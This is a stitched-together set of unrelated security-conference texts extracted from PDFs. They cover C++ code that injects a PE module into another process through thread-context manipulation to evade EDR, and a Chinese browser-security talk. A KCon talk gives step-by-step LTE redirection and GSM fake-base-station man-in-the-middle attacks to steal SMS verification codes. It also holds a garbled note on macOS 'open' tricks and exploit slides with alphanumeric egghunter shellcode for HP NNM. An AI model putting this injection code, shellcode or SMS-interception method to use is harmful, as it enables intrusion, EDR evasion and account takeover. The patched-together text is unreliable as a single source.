to avoid EDR, and execute the injected code in the remote process using only thread context manipulation. /** * Inject a PE module in the target process memory, using CONTEXT manipulations * @param targetProcess Handle to target process * @param moduleBaseAddress base address in current process memoryy of PE we want to inject * @return Handle to injected module in target process */ HMODULE MagicInjection::InjectViaThreadContext(HANDLE hProcess, LPVOID moduleBaseAddress) { /* Get module PE headers */ PIMAGE_NT_HEADERS headers = (PIMAGE_NT_HEADERS)((LPBYTE)moduleBaseAddress + ((PIMAGE_DOS_HEADER)moduleBaseAddress)->e_lfanew); /* Get the size of the code we want to inject */ DWORD moduleSize = headers->OptionalHeader.SizeOfImage; ADDRESS_VALUE distantModuleMemorySpace = NULL; LPBYTE moduleCopyBaseAddress = NULL; DWORD oldProtect = 0; MEMORY_BASIC_INFORMATION info; log_info(" [+] Injecting module via context manipulation...\n"); if (headers->Signature != IMAGE_NT_SIGNATURE) return NULL; /* Check if calculated size really corresponds to module size */ if (IsBadReadPtr(moduleBaseAddress, moduleSize)) return NULL; REMOTE_THREAD_CONTEXT_MANIPULATION rmi = { 0 }; if (MagicThread::InitThreadContextManipulation(hProcess, &rmi, FALSE)) { /* Allocate memory in the target process to contain the injected module image */ log_info(" [-] Allocate memory in remote process\n"); distantModuleMemorySpace = MagicThread::TriggerFunctionInRemoteProcess(&rmi, "Kernel32.dll", "VirtualAlloc", 0, (ADDRESS_VALUE)moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); if (distantModuleMemorySpace != NULL) { /* Now we need to modify the current module before we inject it */ /* Allocate some space to process the current PE image in a temporary buffer */ log_info(" [-] Allocate memory in current process\n"); moduleCopyBaseAddress = (LPBYTE)VirtualAlloc(NULL, moduleSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (moduleCopyBaseAddress != NULL) { log_info(" [-] Duplicate module memory in current process\n"); RtlCopyMemory(moduleCopyBaseAddress, moduleBaseAddress, moduleSize); log_info(" [-] Patch relocation table in copied module\n"); if (patchRelocationTable(moduleBaseAddress, (LPVOID)distantModuleMemorySpace, moduleCopyBaseAddress)) { ADDRESS_VALUE * copyBase = (ADDRESS_VALUE*)moduleCopyBaseAddress; /* Write processed module image in target process memory */ log_info(" [-] Copy modified module in remote process\n"); //We copy module byte per byte to replace call to WriteProcessMemory ADDRESS_VALUE i, dotCpt = 0; for (i = 0; i < moduleSize; i += sizeof(ADDRESS_VALUE)) { 8 MagicThread::WriteToRemoteThread(&rmi,(ULONG_PTR)(distantModuleMemorySpace + i), *((ADDRESS_VALUE*)(moduleCopyBaseAddress + i))); if (i == ((moduleSize / 64) * dotCpt)) { log_info("."); dotCpt++; } } log_info(" [-] Modify remote module pages protection to avoid RWX\n"); // Store variable necessary for oldProtect param of VirtualProtect MagicThread::WriteToRemoteThread(&rmi, rmi.jmp0StackAddr+0X20, rmi.jmp0GadgetAddr+0x30); // Store on remote stack pointer to other part of stack log_trace(" -> Set module header in remote process at %p to READ\n", distantModuleMemorySpace); MagicThread::TriggerFunctionInRemoteProcess(&rmi, "Kernel32.dll", "VirtualProtect", distantModuleMemorySpace, (ADDRESS_VALUE)headers->OptionalHeader.SizeOfHeaders, PAGE_READONLY, rmi.jmp0StackAddr + 0X20); // copy over DLL image sections to the newly allocated space for the DLL PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(headers); for (size_t i = 0; i < headers->FileHeader.NumberOfSections; i++) { LPVOID sectionDestination = (LPVOID)((DWORD_PTR)distantModuleMemorySpace + (DWORD_PTR)section->VirtualAddress); LPVOID sectionOrigin = (LPVOID)((DWORD_PTR)moduleBaseAddress + (DWORD_PTR)section->VirtualAddress); // Get information about original section VirtualQuery(sectionOrigin, &info, sizeof(info)); // Use virtualprotect to use same protection as original section MagicThread::TriggerFunctionInRemoteProcess(&rmi, "Kernel32.dll", "VirtualProtect", (ADDRESS_VALUE)sectionDestination, (ADDRESS_VALUE)section->Misc.VirtualSize, info.Protect, rmi.jmp0StackAddr + 0X20); section++; } VirtualFree(moduleCopyBaseAddress, 0, MEM_RELEASE); } log_debug(" [-] Create a thread in the remote process \n"); // CreateThread require 6 param, so we put param 5 and 6 on the stack MagicThread::WriteToRemoteThread(&rmi, rmi.jmp0StackAddr+0x28, (ADDRESS_VALUE)CREATE_SUSPENDED); MagicThread::WriteToRemoteThread(&rmi, rmi.jmp0StackAddr+0x30, 0); ADDRESS_VALUE remoteThreadHandle = MagicThread::TriggerFunctionInRemoteProcess(&rmi, "Kernel32.dll", "CreateThread", 0, 0, rmi.jmp0GadgetAddr, 0); } MagicThread::TriggerFunctionInRemoteProcess(&rmi, "Kernel32.dll", "VirtualFree", (ADDRESS_VALUE)distantModuleMemorySpace, 0, MEM_RELEASE,0); distantModuleMemorySpace = NULL; } } else { log_info(" [!] Failed to initalize for context manipulation.\n"); } MagicThread::EndThreadContextManipulation(&rmi); /* Return base address of copied image in target process */ return (HMODULE)distantModuleMemorySpace; } 9 5. Example 5.1. Use ghost writing on Firefox Here is a screenshot of DebugView after I inject and deploy hooks inside Firefox using Ghost writing. I achieve the same result as in the other code injection series posts, but only using thread context manipulation! 10 6. Going further 6.1. Build and improve The implementation of the thread related methods described earlier are available at: https://github.com/sevagas/MagicLib I cannot provide a full Visual Studio solution because it would pull a lot of code that I cannot make public. In this paper and POC I only described GhostWriting in x64 architecture, if you are interested by 32 bit implementation, it is left as an exercise to the reader... Note: I am not a developer, so do not hesitate to send me source code improvement suggestion. 6.2. Further readings about code injection I you want to learn more about code injection I suggest you read the other posts of the Code Injection series on https://blog.sevagas.com For advanced readers, https://modexp.wordpress.com/ is awesome. The author describes a lot of advanced injection/execution techniques and provides proof of concepts. On https://tyranidslair.blogspot.com/ you will find great posts about injection and Windows security At BlackHat 2019, researchers presented talk called Process Injection Techniques - Gotta Catch Them All. It is a compilation of a lot of existing attacks and a Github repo with POC source code is provided. You can also follow me on twitter: @EmericNasi
pdf
大陆浏览器安全 宋雷 1 大陆浏览器市场特点 • 面临安全问题与国际市场迥异 • 由于金山/腾讯/360,导致漏洞补丁很快,0day几 乎不会规模性出现。 • 主要威胁为:小成本钓鱼,下载欺骗,点对点社 会工程(网购诈骗) 2 金山网络在浏览器安全的积累 • 2009年,我们在业界率先推出了首款基于浏览器 的专业防护产品 - 金山网盾 • 除360以外的国内主流浏览器产品安全技术几乎全 部基于金山云开放平台开发 • 金山毒霸在网购保护方面做出了诸多的创新,如 敢陪模式等 3 遨游浏览器 (Maxthon) 金山云开放平台 搜狗浏览器(Sogou) 360云平台 360浏览器 4 • 在做安全的路上,我们反复在思考: 到底什么样的浏览器才是安全的? • 让我们先来看看我们遇到的威胁,并分类介绍各 类威胁的解决方案 5 威胁一:钓鱼与欺诈 • 在用户浏览网页过程中,浏览器将用户访问的网 址hash后提交给服务器,服务器根据恶意网址库获 取当前网址安全性。 • 厂商通过自己的蜘蛛与用户反馈来完善自己的恶 意网址库 6 威胁一:钓鱼与欺诈 • DEMO 7 威胁一:钓鱼与欺诈 8 威胁一:钓鱼与欺诈 9 威胁二:漏洞攻击 • 大陆浏览器多基于在IE与chromium开发,比如360 安全基于ie,360极速ie+chromium,猎豹基于 ie+chromium。 • ie的漏洞,每家都有比较成熟的技术,比如金山的 网盾、360的网盾,可以阻止ie核下常见的漏洞攻 击,进程启用dep, aslr,拦截可疑文件执行、加载, 堆喷射地址占坑,特定函数检测返回地址等等 10 威胁二:漏洞攻击 11 威胁二:漏洞攻击 12 威胁二:漏洞攻击 • chromium的漏洞,在一个chromium核的漏洞被公 告后,第三方厂商多很被动,多只能等chromium 解决后更新。 • 自身引入的漏洞,比如前段时间的360浏览器的 external问题,360信任指定域下网站可以使用 external导出函数,比如修改首页,历史记录等。 如果这个域存在xss问题,将面临很大的安全风险。 13 威胁二:漏洞攻击 • DEMO 14 威胁二:漏洞攻击 15 威胁二:漏洞攻击 16 威胁三:下载威胁 • 2011年的病毒木马传播更加依赖互联网通道,依 靠下载(包括浏览器下载和聊天工具传送)的病 毒达到86.4%,通过网页挂马等形式比以前大大减 少 • 比如前段时间的 PuTTY、WinSCP和SSH Secure工具 汉化版被人植入后门,导致大量服务器落入黑客 手中 17 威胁三:下载威胁 • 一个完整的下载安全解决方案应该包括: a. 下载前拦截 下载前预先收集了可疑的下载URL,不用扫描文件 即可通过URL进行拦截。用户不用经历下载过程。 b. 下载后拦截 通过扫描下载后的文件进行拦截 18 威胁三:下载威胁 • 为什么要下载后拦截 a. 基于云的URL收集未必是最及时的 b. 一次一变的下载链接 我们要让每个用户都不是那个“最倒霉“的用户 19 威胁三:下载威胁 • 下载后拦截技术 文件 解压、脱壳 金山云特征查询 金山本地启发式引擎 白 白 允许访问 禁止访问 黑 黑 20 威胁三:下载威胁 • DEMO 21 威胁三:下载威胁 22 威胁三:下载威胁 23 威胁三:下载威胁 • 浏览器带一个扫描引擎,将下载的文件抽取特征, 提交给云服务器查询安全性 24 威胁四:网购威胁 • 在网购过程中,除了网页钓鱼威胁外,越来越多 的是在客户端环境不安全情况下,网页遭篡改, 键盘被监听的问题。 25 威胁四:网购威胁 • 解决方案: 支付前网购环境扫描 网购过程中阻止未知程序执行 网购过程中阻止未知驱动加载 网购过程中阻止注入浏览器 网购过程中阻止篡改浏览器页面 网购过程中阻止网页键盘记录 26 威胁四:网购威胁 27 威胁四:网购威胁 28 威胁四:网购威胁 29 威胁四:网购威胁 30 国内浏览器的安全现状 • 普遍不重视安全问题 • 真正冠以安全浏览器名称的只有: 360安全浏览器 猎豹浏览器 • 而360安全浏览器真正的安全功能仅只是网址拦截 31 猎豹浏览器 • 携着对浏览器安全的认识和思考,我们推出了猎 豹浏览器 • 猎豹浏览器拥有业界最全面的安全防护体系BIPS: Browser Intrusion Prevention System • 结合金山多年积累的 云安全 以及 K+ 防御 • 全面解决大陆浏览器的安全威胁问题 • 猎豹浏览器的安全防御组成: 32 33 • 猎豹浏览器同时还是全球首个敢赔浏览器 只要使用猎豹浏览器上网,就可以享受敢赔服务 并获得¥1000元的敢赔基金,倘若网购时被盗, 就可以从基金中获取单笔最高¥500元的现金赔付。 34
pdf
探索一切、攻破一切 [ Hacker@KCon ] 9/6/2016 3:01:52 PM 0 探索一切、攻破一切 [ Hacker@KCon ] 伪基站高级利用技术 ——彻底攻破短信验证码 Seeker BD4ET 9/6/2016 3:01:54 PM 1 日程 • 个人简介 • 手机通信安全概述 • LTE伪基站的实现 • GSM MITM攻击的实现 • 短信验证码的脆弱性 • 安全建议 9/6/2016 3:01:54 PM 2 个人简介 • 连续创业失败的创业导师 • 伪天使投资人 • 某非知名私立大学创办人兼校长 • 业余时间在本校通信安全实验室打杂 • 个人微信:70772177 9/6/2016 3:02:42 PM 3 9/6/2016 3:01:54 PM Part. 01 手机通信安全概述 4 研究电信网安全漏洞的必要性 • 大量终端更换或更新补丁成本过高,漏洞长期 有效 • WIFI与3G/4G蜂窝数据互操作导致的安全风险 • 2G/3G/4G电信业务互操作带来的安全风险 • 最弱的环节在WIFI和2G • WIFI之外更有趣! 9/6/2016 3:25:26 PM 5 探索一切、攻破一切 | [ Hacker@KCon ] LTE手机的脆弱来自: • WIFI:包交换层面,WIFI和蜂窝数据的互操 作 • 2G:网络覆盖和电路交换层面,LTE与 2G/3G的互操作 9/6/2016 3:01:54 PM 6 探索一切、攻破一切 | [ Hacker@KCon ] 本次话题:攻破短信验证码 • 短信验证码广泛使用是一大隐患 • 拦截短信成为快速入侵的首选 • 而且,可以低成本实现 9/6/2016 3:01:54 PM 7 探索一切、攻破一切 | [ Hacker@KCon ] 短信侦听和拦截当前能做到的程度 1. 联通、电信和移动的4G,可以通过LTE伪基站来重 定向目标手机到3G和2G。 2. 重定向到3G,可以利用FemtoCell实现短信侦听和拦 截。 3. 重定向到2G CDMA,可以利用FemtoCell实现短信侦 听和拦截。 4. 重定向到2G GSM ,可实现旁路短信侦听,通过 MITM还可实现拦截,也可通过Race Condition实现 部分拦截。 9/6/2016 3:01:54 PM 8 探索一切、攻破一切 | [ Hacker@KCon ] 移动通信的演进 cdmaOne GSM TDMA PDC 2G 9.6 - 14.4 kbps CDMA2000 1x GPRS evolved 2G 64–144 kbps evolved 3G 384 kbps - 100 Mbps EDGE WCDMA CDMA2000 1x EV/DO 3G 384 kbps - 2 Mbps 4G >1 Gbps HSPA LTE LTE-A 9 9/6/2016 3:01:55 PM 探索一切、攻破一切 | [ Hacker@KCon ] 空闲态移动性 小区重选 数据业务移动性 LTE与3G LTE与2G 语音回落(CS Fall Back) 回落到3G 回落到2G 为了提高用户使用感受,用户优选LTE网络驻留,但LTE网络覆盖范围小于2G/3G网络,因此需要进行 LTE与2G/3G网络的系统间互操作  保证用户在LTE与2G/3G网络之间移动时的数据业务连续性  由于LTE不支持CS域,因此CS业务需要回落到2G/3G网络承载 UE在LTE/2G/3G的无线网(E-UTRA/GERAN/UTRA)之间可以采用多种不同的互操作流程(目前中 国移动采用2/4G互操作策略,中国联通采用3/4G互操作策略) LTE网络 2G/3G网络 数据业务 空闲态 语音回落 LTE与2G/3G的互操作 9/6/2016 3:01:54 PM 10 探索一切、攻破一切 | [ Hacker@KCon ] 9/6/2016 3:01:54 PM Part. 02 LTE伪基站的实现 11 LTE伪基站的实现 1. LTE测试环境的搭建 2. LTE RRC重定向的实现 3. LTE小区重选(Cell Reselection)流程 9/6/2016 3:01:54 PM 12 探索一切、攻破一切 | [ Hacker@KCon ] LTE测试环境的搭建 1. 硬件: 1) 高性能PC 2) BladeRF(或USRP B2x0)+天线 3) 测试用LTE手机 2. 软件: 1) Linux 2) OpenAirInterface 3) 手机路测软件 9/6/2016 3:01:54 PM 13 探索一切、攻破一切 | [ Hacker@KCon ] LTE RRC重定向(redirectedCarrierInfo) 1. redirectedCarrierInfo历史悠久,始见于3G通信 标准 2. 应用广泛,大量应用于LTE CSFB 3. 通信人所说的RRC重定向,其实就是含有 redirectedCarrierInfo 信息的RRC Connection Release 4. 也是我们本次Hack中LTE部分的重点 9/6/2016 3:01:54 PM 14 探索一切、攻破一切 | [ Hacker@KCon ] RIM流程:实质是在LTE与2G系统间搭建了一条 信令交互的通路,利用该功能,LTE网络可提前 获取其周围2G邻区系统广播并下发至终端。 RIM流程功能需要LTE和2G核心网、无线网网元 进行相应升级改造 LTE CSFB to 2G回落方案 SGSN BSS MME eNodeB E-UTRAN GERAN Gb/Iu RIM Signaling Relaying RIM Signaling S3/Gn S1 RIM Signaling 发起CSFB 呼叫 LTE网络通过RIM流程提前 获取2G或3G邻区广播消息 ① R8 RRC重定向 携带2G邻频点 ②R9 RRC重定向 携带2G邻频点、小区ID 及小区广播消息 测量选取回落的 2G小区,与回落 的2G小区同步 读目标小区 广播消息 完成驻留并 建立通话 测量选取回落的 2G小区,与回落 的2G小区同步 完成驻留并 建立通话 RIM流程介绍 LTE CSFB回落方案 9/6/2016 3:01:54 PM 15 探索一切、攻破一切 | [ Hacker@KCon ] LTE CSFB重定向的消息序列 9/6/2016 3:01:54 PM 16 探索一切、攻破一切 | [ Hacker@KCon ] LTE CSFB重定向的L3信令 9/6/2016 3:01:54 PM 17 探索一切、攻破一切 | [ Hacker@KCon ] LTE CSFB重定向的L3信令 9/6/2016 3:01:54 PM 18 探索一切、攻破一切 | [ Hacker@KCon ] LTE RRC重定向的利用 1. 手机(UE)重选(Cell Reselection)到我们的LTE伪 基站; 2. UE发起TAU Request,伪基站Reject之; 3. UE发起Attach Request,伪基站Reject之; 4. 伪基站随后下发RRCConnectionRelease消息,其中 含有redirectedCarrierInfo信息,指示手机重定向到 我们架设的GSM伪基站; 5. 其重点是:启动安全验证之前下发 RRCConnectionRelease。 9/6/2016 3:01:54 PM 19 探索一切、攻破一切 | [ Hacker@KCon ] LTE RRC重定向的代码实现 1. OAI代码中定义了R8和R9的RRCConnectionRelase, 但是没有调用; 2. 需要修改MME和eNodeB的代码,增加相应逻辑。 9/6/2016 3:01:54 PM 20 探索一切、攻破一切 | [ Hacker@KCon ] LTE RRC重定向攻击的L3信令流程 9/6/2016 3:01:54 PM 21 探索一切、攻破一切 | [ Hacker@KCon ] LTE RRC重定向实现后的终端输出 9/6/2016 3:01:54 PM 22 探索一切、攻破一切 | [ Hacker@KCon ] R4 R6 R7 R5 R10 Cell reselection Location Registration I am here! OK! I see you Cell A Cell C Cell B Cell B Cell F Cell D Freq.1 Priority : 5 Freq.2 Priority : 3 Freq.3 Priority : 1 Cell A Cell C Cell E Ranking Priority LTE小区重选(Cell Reselection)流程 9/6/2016 3:01:54 PM 23 探索一切、攻破一切 | [ Hacker@KCon ] Intra Frequency & Inter Frequency with equal priority Inter Frequency and Inter-RAT Serving Cell Neighbor Cell Serving Cell Neighbor Cell Serving Cell Neighbor Cell Priority : 3 RadioQuality : 5 Priority : 5 RadioQuality : 4 Serving Cell Neighbor Cell Priority : 5 RadioQuality : 5 Priority : 3 RadioQuality : 1 Threshold : 3 Threshold : 2 Priority : 5 RadioQuality : 1 Priority : 3 RadioQuality : 3 Threshold : 2 LTE小区重选(Cell Reselection)流程 9/6/2016 3:01:54 PM 24 探索一切、攻破一切 | [ Hacker@KCon ] 9/6/2016 3:01:54 PM Part. 03 GSM MITM攻击的实现 25 GSM MITM攻击的实现 1. GSM MITM测试环境的搭建 2. GSM 伪基站的原理 3. GSM MITM的原理 4. GSM MITM的实现 9/6/2016 3:01:54 PM 26 探索一切、攻破一切 | [ Hacker@KCon ] GSM MITM测试环境的搭建 1. 硬件: 1) PC 2) USRP B200mini+天线 3) Motorola C118+CP2102 4) Nokia路测手机 2. 软件: 1) Linux 2) OpenBSC 3) OsmocomBB 9/6/2016 3:01:54 PM 27 探索一切、攻破一切 | [ Hacker@KCon ] 低成本GSM MITM测试环境的搭建 1. 硬件: 1) PC 2) Motorola C118+CP2102 3) Nokia路测手机 2. 软件: 1) Linux 2) OpenBSC 3) OsmocomBB 9/6/2016 3:01:54 PM 28 探索一切、攻破一切 | [ Hacker@KCon ] GSM伪基站的原理(1) • 基站验证手机;手机不验证基站,而且盲目相信基站广播的信息。 • 手机(MS)在开机时会优先驻留(Camping)SIM卡允许的运营商 网络里的信号最强的基站,因此伪基站信号强是有意义的,但是 用户并不会经常开关机,所以即使信号不是最强也影响不大。 • 比开关机更经常发生的是Location Update,伪基站主要靠Location Update流程来吸引MS驻留。 • 伪基站工作时通常伪装成相邻基站列表里的在当前位置信号最弱 的基站以减少同频干扰,但是LAC(Location Area Code)会设置成 跟正常网络不冲突的数字范围,还会改变Cell Reselection参数。 9/6/2016 3:01:54 PM 29 探索一切、攻破一切 | [ Hacker@KCon ] GSM伪基站的原理(2) • MS在Location Update时,伪基站会发出Identity Request给MS, 要求MS提交IMSI,而Stingray/IMSI Catcher还会再次发出 Identity Request,要MS提交IMEI。有了IMSI和IMEI,情报机构或 执法部门就可以跟后台的黑名单进行比较,判断是否目标人物 的手机在附近出现。而我国黑产从业者的伪基站只需要拿到 IMSI,然后会向该IMSI发出广告短信或恶意欺诈短信。 • 为了少惊动目标,目的达到后,伪基站记录该IMSI,然后尽可 能快的把该MS弹回(Reject)原网络。这会在MS再次提交 Location Updating Request时完成。为了能尽快让MS再次提交 Location Updating Request,伪基站有两个办法,一是频繁改变 LAC,二是广播更短的位置更新周期,比如把T3212设为1分钟。 9/6/2016 3:01:54 PM 30 探索一切、攻破一切 | [ Hacker@KCon ] Location Update • 移动用户(MS)在待机(Idle)状态时,会 间歇扫描当前基站广播的相邻基站列表里 的基站,发现有满足小区重选(Cell Reselection)条件的基站就会选择该基站来 驻留,如果发现该基站和当前基站不在同 一个LA(Location Area),就会执行位置更 新(Location Update)操作。 9/6/2016 3:01:54 PM 31 探索一切、攻破一切 | [ Hacker@KCon ] Location Update流程(1) 1. MS在向新基站发送位置更新请求(Location Updating Request), 同时提交之前的TMSI和LAI(Location Area Identity)。 2. 新基站收到后,会需要MS的IMSI来完成在HLR里的位置登记。IMSI 通常有两种方式来获得,一种是直接发Identity Request给MS,要求 MS提交IMSI,另一种是通过网络后台来查找TMSI对应的IMSI,可能 需要根据LAI找到之前的MSC再与之联系,具体细节略。取得IMSI后 网络会更新HLR。 3. 通常情况下,Location Update流程会包含鉴权(Authentication), 新基站向MS发出鉴权请求(Authentication Request),包含着随机 生成的RAND。发送前MSC/HLR就已根据服务端存储的Ki计算出 SRES,SRES=A3(RAND,Ki)。 9/6/2016 3:01:54 PM 32 探索一切、攻破一切 | [ Hacker@KCon ] Location Update流程(2) 4. MS收到RAND后,传给SIM卡,SIM卡使用私钥Ki同样对 RAND执行A3加密流程,得出SRES。 5. MS将SRES以Authentication Response消息发回基站。 6. 网络比较两个SRES,如果结果相同,就鉴权通过。 7. 新基站发回Location Updating Accepted消息,同时向MS 指派新的TMSI。 8. MS发回TMSI Reallocation Complete消息。 9. Location Update流程结束。 9/6/2016 3:01:54 PM 33 探索一切、攻破一切 | [ Hacker@KCon ] GSM Location Update L3 信令 9/6/2016 3:01:54 PM 34 探索一切、攻破一切 | [ Hacker@KCon ] Mobile Terminated Services • 当网络有服务要传送的时候,通常是电话 或短信,就会启动Mobile Terminated Services流程。 9/6/2016 3:01:54 PM 35 探索一切、攻破一切 | [ Hacker@KCon ] Mobile Terminated SMS流程(1) 1. 网络首先通过HLR查出当前服务MS的MSC。MSC查出TMSI。 2. 网络在MS所在的Location Area的所有基站向该TMSI发出Paging Request消息。 3. MS守听PCH时发现自己的TMSI,就在RACH发出Channel Request 消息。 4. 基站接收后,分配无线资源,并在AGCH发出Immediate Assignment消息。 5. MS接收后,切换到分配给它的信道上,发出Paging Response。 6. 这时基站如果要求鉴权,就会发出Authentication Request,整 个鉴权流程跟上面Location Update的3-6步相同。 9/6/2016 3:01:54 PM 36 探索一切、攻破一切 | [ Hacker@KCon ] Mobile Terminated SMS流程(2) 7. 基站发出SABM,MS回应RA,完成Setup握手。 8. 基站开始传送短信数据CP-DATA,MS回应CP- ACK,直至传送完成。 9. 基站发出Channel Release指令,MS回应 Disconnect。 10.至此,流程结束。 11.如果短信长度大于140字符,会分开每次传送 140字符,每次流程同上。 9/6/2016 3:01:54 PM 37 探索一切、攻破一切 | [ Hacker@KCon ] GSM MITM攻击原理 • 即在运营商基站和目标手机之间插入一台 伪基站和一部攻击手机,诱导目标手机附 着到伪基站,然后攻击手机以目标手机身 份在运营商网络注册,使得目标手机的所 有进出通信都经过伪基站和攻击手机中转, 所以我们能够拦截、修改、仿冒各种通信 内容。 9/6/2016 3:01:54 PM 38 探索一切、攻破一切 | [ Hacker@KCon ] GSM MITM攻击的流程 1. 取得目标的手机号码(MSISDN) 2. 通过HLR Lookup查得目标的IMSI 3. 通过Paging/HLR Lookup/社工确定目标所在的蜂窝小区(Cell ID) 4. 肉身到目标附近,50m~300m 5. 打开伪基站,吸引周围手机前来附着,Reject除目标IMSI外的所 有手机 6. 目标手机附着后,启动攻击手机进行身份劫持 7. 拦截给目标手机的短信验证码,登录或重置密码后登录目标的 各个网络账户 9/6/2016 3:01:54 PM 39 探索一切、攻破一切 | [ Hacker@KCon ] GSM伪基站的低成本实现 • 需要的硬件: – Motorola C118或C139 x1 – CP2102 USB串口转换器 x1 – 2.5mm 音频插头和杜邦线 x1 – 以上合计成本18元。 • 需要的软件:OpenBSC • 可选的硬件:Nokia 1110/3110 启用 Net Monitor • 最后,一台电脑,运行Ubuntu 12.04或14.04。 9/6/2016 3:01:54 PM 40 探索一切、攻破一切 | [ Hacker@KCon ] GSM攻击手机的低成本实现 • 需要的硬件: – Motorola C118或C139 x1 – CP2102 USB串口转换器 x1 – 2.5mm 音频插头和杜邦线 x1 – 以上合计成本18元。 • 需要的软件:OsmocomBB 9/6/2016 3:01:54 PM 41 探索一切、攻破一切 | [ Hacker@KCon ] GSM MITM的代码实现(OpenBSC) 1. 实现伪基站的基本功能 2. 将附着手机的IMSI发给MITM攻击手机 3. 接收攻击手机的鉴权申请,并向目标手机 发起网络鉴权 4. 将从目标手机接收到的鉴权响应发回给攻 击手机 9/6/2016 3:01:54 PM 42 探索一切、攻破一切 | [ Hacker@KCon ] GSM MITM的代码实现(OsmocomBB) 1. 接收OpenBSC发来的IMSI 2. 以此IMSI身份向对应运营商网络发起Location Update请求 3. 如果网络要求鉴权,则将收到的鉴权请求发给 OpenBSC 4. 接收OpenBSC发回的鉴权响应,发送给运营商网络, 完成鉴权 5. 开始使用仿冒身份执行攻击向量:接收/发送短信, 拨打/接听电话。如果需要鉴权,则重复3-4流程。 9/6/2016 3:01:54 PM 43 探索一切、攻破一切 | [ Hacker@KCon ] GSM MITM的代码实现(OsmocomBB) 9/6/2016 3:01:54 PM 44 探索一切、攻破一切 | [ Hacker@KCon ] GSM MITM的代码实现(OpenBSC) 9/6/2016 3:01:54 PM 45 探索一切、攻破一切 | [ Hacker@KCon ] GSM MITM的实现:短信&电话 9/6/2016 3:01:54 PM 46 探索一切、攻破一切 | [ Hacker@KCon ] Demo 9/6/2016 3:01:54 PM 47 探索一切、攻破一切 | [ Hacker@KCon ] 9/6/2016 3:01:54 PM Part. 04 短信验证码的脆弱性 48 短信验证码的脆弱性 1. 使用LTE重定向+伪基站中间人攻击,可彻底 攻破基于短信验证码的安全机制; 2. 这种攻击方式简单粗暴,只需一分钟即可 拿下目标手机用户的10-20个重要账户; 3. 短信验证码已完全不可信任; 4. 重要操作不可依赖短信验证码。 9/6/2016 3:20:04 PM 49 探索一切、攻破一切 | [ Hacker@KCon ] 凭借短信验证码可以攻破: 1. 微信、QQ、支付宝、淘宝、京东、百度、网 易。。。。。。 2. 工行、交行、建行、中行、兴业银行、中信银 行、浦发银行、招商银行、光大银行、华夏银 行。。。。。。 3. 滴滴、美团、携程、去哪儿、饿了么。。。。。 4. You name it 9/6/2016 3:01:54 PM 50 探索一切、攻破一切 | [ Hacker@KCon ] 9/6/2016 3:01:54 PM Part. 05 安全建议 51 安全建议: 1. 有条件的机构:双因子验证 2. 没有条件的机构:与有双因子验证的机构 合作 9/6/2016 3:01:55 PM 52 探索一切、攻破一切 | [ Hacker@KCon ] 问答环节 9/6/2016 3:01:55 PM 53 探索一切、攻破一切 | [ Hacker@KCon ] T H A N K S [ Hacker@KCon ] 9/6/2016 3:01:54 PM 54
pdf
open 0x00 open 0x01 open https://www.baidu.com//System/Applications/Maps.app mapsapp 1. maps.app 2. urlmaps open "https://www.baidu.com/System/Applications/Calendar.app" calendar urlurlcalendar 0x02 app 1. appurl 2. appurl app open "https://xxxxx" open "/Applications/Safari.app" "http://xxxxx" xxx app applemusic! 10000 open /Applications/Safari.app "http://127.0.0.1:10000/System/Applications/Music.app" apple music10000 music.appmp3 1. http 2. /System/Applications/mp3 3. mp3Music.app mp3 applemusic 0x03 http musicmp3
pdf
From BUG to 0day – Busting the perimeter egghunter_wtf = ( “%JMNU%521*TX-1MUU-1KUU-5QUUP\AA%J" "MNU%521*-!UUU-!TUU-IoUmPAA%JMNU%5" "21*-q!au-q!au-oGSePAA%JMNU%521*-D" "A~X-D4~X-H3xTPAA%JMNU%521*-qz1E-1" "z1E-oRHEPAA%JMNU%521*-3s1--331--^" "TC1PAA%JMNU%521*-E1wE-E1GE-tEtFPA" "A%JMNU%521*-R222-1111-nZJ2PAA%JMN" "U%521*-1-wD-1-wD-8$GwP” ) Mati Aharoni – Offensive Security From BUG to 0day – Busting the perimeter • 0wnage via 0day is l33t! • Real World Exploit Development challenges. • Live session overview of the HP NNM exploit development cycle. • The experience was so horrible I had to share it. • Lots of olly. • Find the bug . • Figuring out it’s a SEH. • Figuring out Alpha Numeric restrictions for first payload. • Finding an “alternate” short jump over RET address. • Finding a place in the buffer / memory for our second final payload. • Figuring out that an egghunter would be ideal as 1st payload. • Figuring out that we need to manually encode our shellcode. The journey begins Manual Encoding of 1st stage shellcode (egghunter) • Figuring out the allowed instruction sets. • Aligning EAX with stack location where shellcode will be decoded. • “Encoding” the egghunter using AND, SUB ,ADD. • “Decoding” the egghunter and PUSHing it onto the stack. • Running the egghunter. • Hitting our second and final payload. • Dang it, give me a shell! Limited range of allowed characters \x01\x02\x03\x04\x05\x06\x07\x08\x09\x31\x32\x33\x34\x35\x36\x37 \x38\x39\x3b\x3c\x3d\x3e\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a \x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a \x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a \x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a \x7b\x7c\x7d\x7e\x7f We can’t short jump - “\xeX” range not allowed. We will need to manually encode our payload :/ \xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49 \x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41 \x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42 \x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49 ALPHA 2 - Zero Tolerance Writing self decoding payloads \x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74 \xef\xb8\x54\x30\x30\x57\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7 We will align the stack to the end of our buffer. We proceed to carve out our egghunter payload in memory, using a limited instruction set. Writing self decoding payloads 25 4A4D4E55 AND EAX,554E4D4A # Zero out EAX 25 3532312A AND EAX,2A313235 # Zero out EAX 54 PUSH ESP # Put address of ESP in EAX 58 POP EAX 2D 664D5555 SUB EAX,55554D66 # Align EAX to end of buffer 2D 664B5555 SUB EAX,55554B66 # This is where the egghunter 2D 6A505555 SUB EAX,5555506A # will be decoded 50 PUSH EAX # push the offset 